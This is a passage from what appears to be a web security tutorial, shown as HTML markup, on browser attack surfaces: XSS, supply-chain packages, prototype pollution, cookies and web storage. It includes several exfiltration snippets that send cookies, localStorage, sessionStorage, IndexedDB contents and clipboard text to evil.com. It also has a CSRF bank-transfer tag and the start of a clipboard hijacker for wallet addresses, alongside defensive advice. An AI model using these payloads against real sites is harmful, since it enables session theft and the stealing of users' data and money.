&lt;span class="nt"&gt;&amp;lt;svg&amp;gt;&amp;lt;p&amp;gt;&amp;lt;style&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;x&lt;/span&gt; &lt;span class="nt"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;alert&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- After DOM mutation — dangerous --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;style&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="nt"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;x&lt;/span&gt; &lt;span class="nt"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nt"&gt;alert&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="err"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;textContent&lt;/code&gt; instead of &lt;code&gt;innerHTML&lt;/code&gt; wherever possible&lt;/li&gt;
&lt;li&gt;Use the &lt;a href="https://github.com/cure53/DOMPurify" rel="noopener noreferrer"&gt;DOMPurify&lt;/a&gt; library for any HTML rendering&lt;/li&gt;
&lt;li&gt;Enable the Trusted Types API to enforce safe DOM writes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Security-Policy: trusted-types default&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. JavaScript — The Attacker's Native Runtime
&lt;/h2&gt;

&lt;p&gt;Once JS runs on your origin, the attacker has access to everything SOP permits. That's the entire page, all storage, all cookies (without &lt;code&gt;HttpOnly&lt;/code&gt;), all in-flight requests.&lt;/p&gt;

&lt;h3&gt;
  
  
  Supply Chain Attacks
&lt;/h3&gt;

&lt;p&gt;The most underrated JS attack surface isn't your code — it's your dependencies.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;package.json&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"dependencies"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"left-pad"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^1.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;million&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;weekly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;downloads&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"event-stream"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^3.3.4"&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Compromised&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;steal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;Bitcoin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;wallets&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A single compromised npm package injected into millions of sites. The attacker doesn't need to hack you — they hack a package you trust.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prototype Pollution
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Attacker-controlled JSON merge&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;merge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// Dangerous if key is "__proto__"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nf"&gt;merge&lt;/span&gt;&lt;span class="p"&gt;({},&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;{"__proto__": {"isAdmin": true}}&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;({}.&lt;/span&gt;&lt;span class="nx"&gt;isAdmin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// true — every object is now admin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prototype pollution can escalate to RCE in Node.js environments and bypass authorization checks in browsers.&lt;/p&gt;

&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Use Subresource Integrity (SRI) for all third-party scripts&lt;/li&gt;
&lt;li&gt;Lock dependency versions with &lt;code&gt;package-lock.json&lt;/code&gt; + audit with &lt;code&gt;npm audit&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Consider a Content Security Policy to limit script sources&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;Object.create(null)&lt;/code&gt; for dictionaries that accept user keys&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4. Cookies — Session Tokens on a Silver Platter
&lt;/h2&gt;

&lt;p&gt;Cookies are the primary mechanism for maintaining authenticated sessions. They're also one of the most stolen artifacts on the web.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Theft Vectors
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;XSS Cookie Theft (when HttpOnly is missing)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/steal?c=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;CSRF (when SameSite is missing)&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- On evil.com --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"https://bank.com/transfer?to=attacker&amp;amp;amount=5000"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The browser sends cookies automatically. No JS required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cookie Tossing&lt;/strong&gt;&lt;br&gt;
If &lt;code&gt;app.com&lt;/code&gt; and &lt;code&gt;sub.app.com&lt;/code&gt; are both in scope, a cookie set on &lt;code&gt;sub.app.com&lt;/code&gt; with no &lt;code&gt;Domain&lt;/code&gt; attribute can still interfere with the parent domain's cookies in some browsers.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Secure Cookie Checklist
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: session=abc123;
  HttpOnly;           ← Block JS access
  Secure;             ← HTTPS only
  SameSite=Strict;    ← No cross-site sending
  Path=/;             ← Scope to app
  Max-Age=3600;       ← Explicit expiry
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;What It Prevents&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HttpOnly&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;XSS cookie theft&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Secure&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Network interception&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SameSite=Strict&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CSRF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CSRF on navigation (balance)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;__Host-&lt;/code&gt; prefix&lt;/td&gt;
&lt;td&gt;Cookie scope confusion&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  The Cookie Prefix Trick
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: __Host-session=abc; Secure; Path=/; SameSite=Strict
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;__Host-&lt;/code&gt; prefix forces &lt;code&gt;Secure&lt;/code&gt;, no &lt;code&gt;Domain&lt;/code&gt;, and &lt;code&gt;Path=/&lt;/code&gt; — making it impossible to scope to a subdomain, hardening against cookie injection.&lt;/p&gt;


&lt;h2&gt;
  
  
  5. LocalStorage — Persistent, Accessible, Unencrypted
&lt;/h2&gt;

&lt;p&gt;LocalStorage persists across sessions and survives browser restarts. It's scoped to origin. And it is completely accessible to any JavaScript running on that origin — including injected scripts.&lt;/p&gt;
&lt;h3&gt;
  
  
  What Attackers Look For
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// One liner to exfiltrate everything&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/dump&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;I've found JWTs, API keys, user PII, OAuth tokens, and entire application state objects sitting in &lt;code&gt;localStorage&lt;/code&gt;. Developers store them there because it's convenient. Attackers love convenience.&lt;/p&gt;
&lt;h3&gt;
  
  
  The JWT in LocalStorage Problem
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Common but dangerous pattern&lt;/span&gt;
&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// vs. the secure pattern&lt;/span&gt;
&lt;span class="c1"&gt;// Store in HttpOnly cookie — JS can't touch it&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;JWTs in localStorage are trivially stolen via XSS. JWTs in &lt;code&gt;HttpOnly&lt;/code&gt; cookies are not.&lt;/p&gt;
&lt;h3&gt;
  
  
  Defense
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Never store authentication tokens in LocalStorage&lt;/li&gt;
&lt;li&gt;Never store sensitive PII in LocalStorage&lt;/li&gt;
&lt;li&gt;If you must store state, consider encrypted storage with a per-session key&lt;/li&gt;
&lt;li&gt;Treat LocalStorage as public — because under XSS, it is&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  6. SessionStorage — Same Problems, Shorter Window
&lt;/h2&gt;

&lt;p&gt;Same API as LocalStorage, but cleared when the tab closes. The attack surface is identical — any XSS running in the same session can read it. The only difference for an attacker is urgency.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Attacker payload in XSS context&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;sessionStorage&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendBeacon&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/log&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sendBeacon&lt;/code&gt; is fire-and-forget, survives page unload, and doesn't require a response. Perfect for quick exfiltration during a session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defense&lt;/strong&gt;: Same as LocalStorage — treat as public under XSS. Never store secrets here.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. IndexedDB — The Structured Data Vault
&lt;/h2&gt;

&lt;p&gt;IndexedDB is a full client-side database. It can store gigabytes of structured data. And yes, any JS on the page can read all of it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why This Is More Dangerous Than It Looks
&lt;/h3&gt;

&lt;p&gt;IndexedDB is used by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Progressive Web Apps storing offline data&lt;/li&gt;
&lt;li&gt;Email clients caching message bodies (Gmail uses it)&lt;/li&gt;
&lt;li&gt;Password managers storing vault state&lt;/li&gt;
&lt;li&gt;Medical apps caching patient records offline
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Exfiltrating an IndexedDB database via XSS&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;indexedDB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-database&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onsuccess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;transaction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;objectStoreNames&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;readonly&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="c1"&gt;// Iterate all stores and exfiltrate&lt;/span&gt;
  &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;objectStoreNames&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;storeName&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;objectStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;storeName&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;getAll&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;onsuccess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/db&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;storeName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
      &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Defense&lt;/strong&gt;: Encrypt sensitive data before writing to IndexedDB. Treat XSS as a threat to your entire local database, not just cookies.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Clipboard — Data in Transit
&lt;/h2&gt;

&lt;p&gt;The Clipboard API allows reading and writing the user's clipboard. Combined with the fact that people copy passwords, credit card numbers, private keys, and 2FA codes constantly — this is a high-value target.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Attack
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Silently exfiltrate whatever the user last copied&lt;/span&gt;
&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clipboard&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readText&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/clip?data=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Clipboard hijacking&lt;/strong&gt; — replacing copied crypto wallet addresses with the attacker's:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;copy&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;selected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getSelection&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^&lt;/span&gt;&lt;span class="se"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;13&lt;/span&gt;&lt;span class="se"&gt;][&lt;/span&gt;&lt;span class="sr"&gt;a-km-zA-HJ-NP-Z1-9&lt;/span&gt;&lt;span class="se"&gt;]{25,34}&lt;/span&gt;&lt;span class="sr"&gt;$/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selected&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Looks like a Bitcoin address&lt;/span&gt;
